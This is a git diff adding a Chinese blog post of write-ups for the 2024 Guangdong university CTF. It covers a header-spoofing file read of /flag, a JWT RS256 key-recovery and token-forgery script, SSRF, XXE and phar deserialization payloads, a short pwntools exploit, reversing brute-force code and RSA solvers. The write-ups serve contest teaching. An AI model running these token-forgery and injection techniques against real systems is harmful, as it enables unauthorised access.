diff --git a/source/_posts/2024-provinceCTF.md b/source/_posts/2024-provinceCTF.md new file mode 100644 index 0000000..8aaeae4 --- /dev/null +++ b/source/_posts/2024-provinceCTF.md @@ -0,0 +1,526 @@ +--- +title: 2024 第三届广东大学生网络安全攻防竞赛 全部题解 +tags: Writeup +categories: Writeup +date: 2024-05-12 22:00:00 +toc: true +--- + +呢篇文章系热心网友投稿㗎，S1uM4i帮手发咗 + + + +**著名五星上将麦克阿瑟这样评价：如果当年面对的不是战场而是广东省赛的赛场，我不敢保证我有上赛场的勇气。** + +QA：比赛整体感受？ + +[如何评价第三届广南大学生网络安全攻防竞赛? - 知乎](https://www.zhihu.com/question/655543283) + +[如何评价第三届广东大学生网络安全攻防竞赛? - 知乎](https://www.zhihu.com/question/655489131) + +QA：以人类现有的技术，是否有能力实现一个开赛不会崩溃，已解出题目不会渲染错误，查看队伍信息不会一不小心刷出别队数据的平台？ + +答： https://github.com/GZTimeWalker/GZCTF + +当然，您也可以使用 https://github.com/CTFd/CTFd ，不过不加插件的情况下并发不一定能得到保证 + +另外，以上平台全部免费使用，多出来的预算可以用来发奖金或者犒劳平台作者 + +## Web + +### 消失的flag（猜谜语） + +Access Denied 用 X-Forwarded-For 伪造成 127.0.0.1 进行绕过 + +之后 `?file=php://filter/resource=/flag` + +这个 file 的传参什么都没说，要自己测，应该是要求以 `php://` 开头，而且限制了长度 + +![img](../images/2024-provinceCTF/image1.webp) + +### Hackme（套娃缝合怪） + +扫目录能看到 composer.json 得知是 php-jwt + +两个用户 admin/123456 test/123456 都可以登陆，分别拿到两段 jwt token + +Jwt 加密形式是 RS256 + +参考 https://ctftime.org/writeup/30541 + +```Bash +docker run -it sig2n /bin/bash +root@201317bd1ea9:/app python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjE3Mi4yMC4yNDAuMzIifQ.DDtMChPMQtBA_2_wJxLPO_6g5dTaM7stY2Knngol6qAeaWh4Y8EjY6ndBLuEMhXYyecpiLFXZxEPqkV_GW3rGReg7LTCfIb4x6M6RRhotbersK1AGKKGUyVHmr0es0bHpw eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoidGVzdCIsImlwIjoiMTcyLjIwLjI0MC4zMiJ9.A9CrtyzLavHQif9VRIHJN1kSjLefzcKPArv3Eo96EbSlD5gzRU78QGiFkdtW_YxQgYc7z82PqH1BQGWMf5CLBfYSQNB6V9HV7FyZJUpzZt2b-irXitYFhW2qQJr0i_yrJA +``` + +![img](../images/2024-provinceCTF/image2.webp) + +得到4个公钥文件 + +搭建php-jwt环境测试公钥 `108b7c75aee1e2b9_65537_x509.pem` 可以解析成功 + +```PHP + +``` + +当时没参考上面的链接，使用密码学分解n然后构造的私钥，n用factordb分解，一个两位数*一个大数，很好分解 + +python 构造私钥 out.pem + +```Python +from Crypto.PublicKey import RSA +from Crypto.Util.number import * +p,q = 29, 885731264777006016949538174167421055106671825208071429372957080488056684683665488948487967838835515568939998600930981430522968381790106454299700877730028009484658871805488338066181488784346146102820600567382567659499055669858852511 +n = p * q +e = 0x10001 +d = inverse(e,(p - 1) * (q - 1)) +pub = RSA.construct((n,e,d,p,q)) +with open('out.pem','wb') as f: + f.write(pub.exportKey('PEM')) +with open('out.pem','rb') as f: + print(f.read().decode()) +``` + +使用 php-jwt 修改 `payload["ip"]` + +```PHP + 'admin', + 'ip' => '127.0.0.1' +]; + +$jwt = JWT::encode($payload, $privateKey, 'RS256'); +echo "Encode:\n" . print_r($jwt, true) . "\n"; +// Encode: +// eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJpcCI6IjEyNy4wLjAuMSJ9.AJ7tY-z-tLbdvx429JSBlagzQnz_Dv5h6iCqWDkZFBgh4pZo7z-BoQ7_vC5Bxg0f80GWh0xtv_UtTtkyDhJ9LgqYX41CGlMvi3HtcI15MPIrdebGwogYb-uAU7FU6GrZKA +``` + +校验成功 + +![img](../images/2024-provinceCTF/image3.webp) + +第二层有个文件上传接口，一个getfile.php的文件下载接口 + +测试了一下发现存在ssrf，检测了内容 禁止了127.0.0.1（测试发现应该还会强制加上http://协议头），检测了oss.jxsec.cn字符 + +无法访问上传的文件，猜测oss和题目是一台服务器，访问本地的8000端口 + +![img](../images/2024-provinceCTF/image4.webp) + +xml数据错误，文件路径正确会显示download error => xxe，xxe禁止了system字符 => iconv编码绕过 + +![img](../images/2024-provinceCTF/image5.webp) + +![img](../images/2024-provinceCTF/image6.webp) + +### unserialize_web（原题） + +www.tar.gz 下载到源码 + +**发现原来是抄了NSS的题** **https://blog.csdn.net/m0_68113265/article/details/132407965** + +唯一区别是需要猜到 www.tar.gz（需要简单扫描你就说呗，不放 www.zip 又想考就大胆点让扫嘛） + +还有签名方法换成了 sha256，其他的完全一致，用原题 payload 打就行了 + +需要对序列化的值进行修改来绕过 __wakeup，之后要对 phar 重新签名 + +upload.php 上传文件 phar 格式的 gzip 压缩文件 + +download.php 传入 phar://... + +触发反序列化读取 /flag 内容 + +### MyPDF（原题） + +www.zip 下载到源码 + +**您猜怎么着，又是抄了21年的****原题** **https://r0.haxors.org/posts?id=15** + +注册的邀请码绕过 + +```JSON +{"action":"register","d":{"user":"llllllll","pass":"llllllll","invite":-1e122222222222}} +``` + +题目环境不出网，但是题目中对 tcpdf 的代码做了一点小修改，让其可以直接打 gopher ssrf + +![img](../images/2024-provinceCTF/image7.webp) + +payload + +```JSON +{ + "action":"new", + "d":{ + "title":"", + "content":"1234" + } +} +``` + +将自己当前用户设置成 admin 权限，最后直接拿 flag + +## PWN + +### pwn_server + +程序启动了10888端口的服务，逆向发现自己实现的strlen有漏洞，当传入的字符串第一个字符是\x00时候会返回-1(uint8)，使得下方拷贝长度变成255，导致栈上msg正好被替换成flag。 + +**出题人替我们布局好栈等着pwn可真是有意义呢，XOR 48也真是必要呢** + +```Python +from pwn import * + +p = remote("xxxx.tq.jxsec.cn", 114514) +p.sendline(b"0:0") +p.interactive() +``` + +## Reverse + +### re1（无法验证flag正确性） + +![img](../images/2024-provinceCTF/image8.webp) + +脑洞，main往上有一段deadcode是xxtea，delta改0xA4EE8C0其他不变 (可能因为n=2时y和z刚好重复了) + +不知道是不是出题人不知道C语言的宏是什么，很多操作放到了函数里 + +https://blog.csdn.net/weixin_45582916/article/details/121425780 + +```C +int main(){ + uint32_t v[] = { 0xb7033832,0x39d8def0, 0}; + uint32_t k[] = { 0xb0011020,0x60508030,0x23088177,0x4e22f60b,0x0000000f}; + btea2((uint32_t*)v, -2, (uint32_t*)k); + printf("%s\n", v); +} +``` + +### re2（无法验证flag正确性） + +第一个for输入5个bytes，每个byte在输入int的偏移分别是 8 16 24 0 8。 + +即第一个输入(X<<8)，得X；第二个输入(X<<16)，得X，随后查双射替换表得到替换后的5bytes + +要求5个bytes按输入顺序计算crc32等于0x27949C6C。根据移位性质，可以从后向前确定最高byte，次高byte，直到第一轮输入无法确定产生全部256种可能。 + +这里可以用 https://github.com/theonlypwner/crc32 简单修改一下五字节的输出，1秒爆出全部的。 + +第二个for输入5个小于16的数字作为数组下标，将第一轮映射后的输入数据按第二轮输入数据放入硬编码数组 + +`byte_434AD8` ，该数组是最后密钥。使用暴力枚举全部的16选5种排列可能，也可以1秒解出。 + +因为第二轮长度有16，所以合法解概率上是接近唯一的。 + +```C +static unsigned int crc32(const unsigned char* buf) { + unsigned int i, crc = 0xFFFFFFFF; + for (i = 0; i < 16; i++) // crc32tab 为CRC32标准公开表 + crc = crc32tab[(crc ^ buf[i]) & 0xff] ^ (crc >> 8); + return crc ^ 0xFFFFFFFF; +} +ty 为第一轮的全部256种可能 +int main() { + for (int ty_index = 0; ty_index < 1265; ty_index += 5) { + for (int i = 0; i < 16; i++) + for (int j = 0; j < 16; j++) { + if (j == i)continue; + for (int k = 0; k < 16; k++) + for (int l = 0; l < 16; l++) + for (int m = 0; m < 16; m++) { + unsigned char cur[16]; + memcpy(cur, byte_434AD8, 16); + cur[i] = ty[ty_index]; + cur[j] = ty[ty_index + 1]; + cur[k] = ty[ty_index + 2]; + cur[l] = ty[ty_index + 3]; + cur[m] = ty[ty_index + 4]; + if (crc32(cur) == (unsigned int)0x7F5E79B7) { + // printf("%d %d %d %d %d\n", i, j, k, l, m); + // printf("%d %d %d %d %d\n", ty[ty_index], ty[ty_index + 1], ty[ty_index + 2], ty[ty_index + 3], ty[ty_index + 4]); + for (int x = 0; x < 16; x++) { + printf("%d, ", cur[x]); // 即为最终密钥 +}}}}}} +``` + +最终AES-ECB用得到的**密钥（不会输出）**解密得flag + +![题目极高的英语水平](../images/2024-provinceCTF/image9.webp) + +另一种爆破脚本： + +```C++ +Python#include +#include +#include +#include"defs.h" + +unsigned char byte_150DE0[256] = { + 0x57, 0x62, 0x35, 0xEF, 0x79, 0x3A, 0xC7, 0x9A, 0x8F, 0x2A, 0x13, 0x42, 0x51, 0xAF, 0x38, 0x4B, + 0xC1, 0xB2, 0x3E, 0x09, 0x54, 0x2B, 0xAE, 0xE9, 0xE0, 0x7A, 0xDB, 0x55, 0x5C, 0x8C, 0xB7, 0xD2, + 0xC6, 0x45, 0xB8, 0x1B, 0xB9, 0x22, 0xDF, 0x15, 0x23, 0x31, 0x68, 0x1F, 0xCA, 0x2F, 0x04, 0x76, + 0x7F, 0x6B, 0x82, 0x60, 0xD5, 0x6D, 0xCE, 0x87, 0x4E, 0x21, 0x58, 0xF8, 0xCC, 0x9B, 0x0E, 0xA0, + 0xDC, 0xC2, 0x26, 0x84, 0x24, 0xCF, 0xA4, 0xA6, 0xA9, 0xC5, 0xD3, 0x2C, 0x34, 0xA5, 0x0C, 0x5D, + 0x02, 0x6A, 0xAA, 0x5A, 0xE2, 0x3C, 0xC3, 0x17, 0x7B, 0x19, 0xCB, 0xE6, 0xB4, 0x16, 0x43, 0x2E, + 0x74, 0x08, 0x25, 0x99, 0x8B, 0xF9, 0x06, 0x8D, 0xFC, 0x5F, 0x86, 0x8A, 0x7C, 0xD9, 0x3D, 0xFE, + 0xED, 0xEA, 0x61, 0x9F, 0xEB, 0xBE, 0xFA, 0xFD, 0xBB, 0x4F, 0xB6, 0x94, 0x29, 0xE1, 0x14, 0xAB, + 0xD7, 0x89, 0x46, 0x92, 0x30, 0x0F, 0x41, 0xE4, 0x9E, 0x6C, 0xC0, 0xFB, 0xC9, 0xDD, 0xAD, 0x49, + 0x03, 0xB3, 0x1E, 0x91, 0xDE, 0x90, 0xF4, 0x48, 0xD4, 0x4A, 0x6F, 0xE3, 0x64, 0x1D, 0xD8, 0xBF, + 0xBA, 0xAC, 0x3F, 0xC4, 0x52, 0x20, 0x56, 0x12, 0x97, 0xEE, 0x2D, 0xBC, 0x07, 0xDA, 0xF5, 0x78, + 0x85, 0x98, 0x0A, 0xCD, 0x0D, 0x6E, 0xA8, 0x28, 0x65, 0x5E, 0x88, 0xF1, 0x10, 0xE5, 0x9C, 0xA2, + 0x47, 0x73, 0x0B, 0xF7, 0x75, 0xB0, 0x72, 0xC8, 0x39, 0x50, 0x7D, 0x80, 0x18, 0x70, 0x1A, 0xF6, + 0x4C, 0x5B, 0xA3, 0xF0, 0xB5, 0x95, 0x59, 0xF2, 0x33, 0x66, 0x63, 0x9D, 0x69, 0xF3, 0x37, 0x77, + 0x4D, 0x93, 0x53, 0x83, 0xD1, 0x71, 0x32, 0x05, 0x8E, 0x40, 0x1C, 0x36, 0x81, 0xB1, 0x96, 0xBD, + 0x7E, 0x01, 0xD0, 0xD6, 0xE8, 0x44, 0xE7, 0x67, 0xA1, 0xEC, 0x3B, 0x27, 0x11, 0xA7, 0x00, 0x00 +}; + +unsigned int dword_150EE0[258] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, + 0x7F5E79B7, 0x00000000 +}; + +unsigned char asc_154AD8_const[16] = { + 0x1B, 0xB1, 0xFF, 0xFD, 0x19, 0xFF, 0x89, 0x8C, 0x09, 0xFF, 0xFF, 0xD7, 0x4A, 0xB3, 0xFF, 0xEB +}; + +int rand2(char *v25) { + char asc_154AD8[16]; + unsigned int v16, v18, v19, v21, v20; + for(int i0 = 0; i0 < 16; ++i0) { + for(int i1 = 0; i1 < 16; ++i1) { + for(int i2 = 0; i2 < 16; ++i2) { + for(int i3 = 0; i3 < 16; ++i3) { + for(int i4 = 0; i4 < 16; ++i4) { + char v24[5] = {i0,i1,i2,i3,i4}; + memcpy(asc_154AD8, asc_154AD8_const, 0x10); + if ( v24[0] <= 0xFu ) + asc_154AD8[v24[0]] = v25[0]; + if ( v24[1] <= 0xFu ) + asc_154AD8[v24[1]] = v25[1]; + if ( v24[2] <= 0xFu ) + asc_154AD8[v24[2]] = v25[2]; + if ( v24[3] <= 0xFu ) + asc_154AD8[v24[3]] = v25[3]; + if ( v24[4] <= 0xFu ) + asc_154AD8[v24[4]] = v25[4]; + v16 = -1; + for ( int j = 0; j < 0x10; j += 4 ) + { + v18 = dword_150EE0[(unsigned __int8)(v16 ^ asc_154AD8[j])] ^ (v16 >> 8); + v19 = dword_150EE0[(unsigned __int8)(v18 ^ asc_154AD8[j + 1])] ^ (v18 >> 8); + v20 = dword_150EE0[(unsigned __int8)(v19 ^ asc_154AD8[j + 2])] ^ (v19 >> 8); + v21 = asc_154AD8[j + 3]; + v16 = dword_150EE0[(unsigned __int8)(v20 ^ v21)] ^ (v20 >> 8); + } + if(~v16 == 0x7F5E79B7) { + printf("[+] rand2 %d %d %d %d %d\n", i0, i1, i2, i3, i4); + return 1; + } + } + } + } + } + } + + return 0; + +} + +int main(int argc, char**argv) { + printf("-----------------rand1----------\n"); + if(argc < 2) { + printf("[-] usage brute start"); + exit(0); + } + int to = atoi(argv[1]); + printf("[+] i0 begin in %d\n", to); + for(int i0 = to; i0 < 256; ++i0) { + for(int i1 = 0; i1 < 256; ++i1) { + for(int i2 = 0; i2 < 256; ++i2) { + for(int i3 = 0; i3 < 256; ++i3) { + for(int i4 = 0; i4 < 256; ++i4) { + char v25[5] = {byte_150DE0[i0], byte_150DE0[i1], byte_150DE0[i2], byte_150DE0[i3], byte_150DE0[i4]}; + unsigned int v8, v9, v10, v5; + v8 = dword_150EE0[(unsigned __int8)(~LOBYTE(dword_150EE0[(unsigned __int8)~v25[0]]) ^ v25[1])] ^ ((dword_150EE0[(unsigned __int8)~v25[0]] ^ 0xFFFFFFu) >> 8); + v9 = dword_150EE0[(unsigned __int8)(v8 ^ v25[2])] ^ (v8 >> 8); + v10 = dword_150EE0[(unsigned __int8)(v9 ^ v25[3])] ^ (v9 >> 8); + v5 = ~(dword_150EE0[(unsigned __int8)(v10 ^ v25[4])] ^ (v10 >> 8)); + if(v5 == 0x27949C6C) { + printf("[+] rand1 => %d %d %d %d %d\n", i0 * 0x100, i1 * 0x10000, i2 * 0x1000000, i3, i4 * 0x100); + if(rand2(v25)) goto success; + } + } + } + } + } + } + + success: + printf("success"); +} +f = lambda x: f'''cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute {x}"\n''' +data = "" +for i in range(0, 256, 256//16): + data += f(i) +with open("run.sh", "w") as f: + f.write(data) +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 0" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 16" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 32" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 48" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 64" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 80" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 96" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 112" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 128" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 144" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 160" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 176" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 192" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 208" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 224" +cmd.exe /c start "wt.exe" -w 0 nt -d . wsl.exe -d Ubuntu-22.04 bash -c "./brute 240" +``` + +![img](../images/2024-provinceCTF/image10.webp) + +## Misc + +### 猜一猜 + +**出题人大概是没怎么打过CTF**，不知道最外层附件文件名一般不会算在脑洞里。 + +文件名 205c8479398be4a4a5dc60611a15670e 是压缩包密码的md5，cmd5或者somd5查得明文 a1478520 。 + +解压压缩包得一损坏的 flag.png，对 flag.png 修出png头 89 50 4E 47 ，得一二维码图片。 + +扫描后使用花朵解密 https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo 得flag + +### 你要的就在这 + +![img](../images/2024-provinceCTF/image11.webp) + +![img](../images/2024-provinceCTF/image12.webp) + +取前六位为密钥 + +https://github.com/izcoser/stegpy + +PNG文件尾找到这个stegpy + +```C++ +stegpy xxx.png -p +``` + +密钥3.1415，可以获得 + +```C++ +3557736c7371495153424738633644326d352f4b5277672b36676a6d3174723144513855794a556d495a733dk:luckyone +``` + +然后把对称算法都脑洞一遍（RC系列 AES系列 DES系列...） + +![img](../images/2024-provinceCTF/image13.webp) + +## Crypto + +### Encipher（给出n e d c求m的RSA) + +RSA 给定 N e d c 找个猴子或者ChatGPT来解出明文m + +然后XOR给了密钥key，明文m异或回去就是flag + +```Python +#coding=gbk +from Crypto.Util.number import * +from gmpy2 import * + +d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233 +n= 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487 +c = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451 +key = b'Life is like an ocean only strong-minded can reach the other shore' + +ans = pow(c,d,n) +key = key[:len(long_to_bytes(ans))] +ans = ans ^ bytes_to_long(key) +print(long_to_bytes(ans)) +``` \ No newline at end of file diff --git a/source/images/2024-provinceCTF/image1.webp b/source/images/2024-provinceCTF/image1.webp new file mode 100644 index 0000000..7d4fd2b Binary files /dev/null and b/source/images/2024-provinceCTF/image1.webp differ diff --git a/source/images/2024-provinceCTF/image10.webp b/source/images/2024-provinceCTF/image10.webp new file mode 100644 index 0000000..4e9f754 Binary files /dev/null and b/source/images/2024-provinceCTF/image10.webp differ diff --git a/source/images/2024-provinceCTF/image11.webp b/source/images/2024-provinceCTF/image11.webp new file mode 100644 index 0000000..968b9b6 Binary files /dev/null and b/source/images/2024-provinceCTF/image11.webp differ diff --git a/source/images/2024-provinceCTF/image12.webp b/source/images/2024-provinceCTF/image12.webp new file mode 100644 index 0000000..7d91ef3 Binary files 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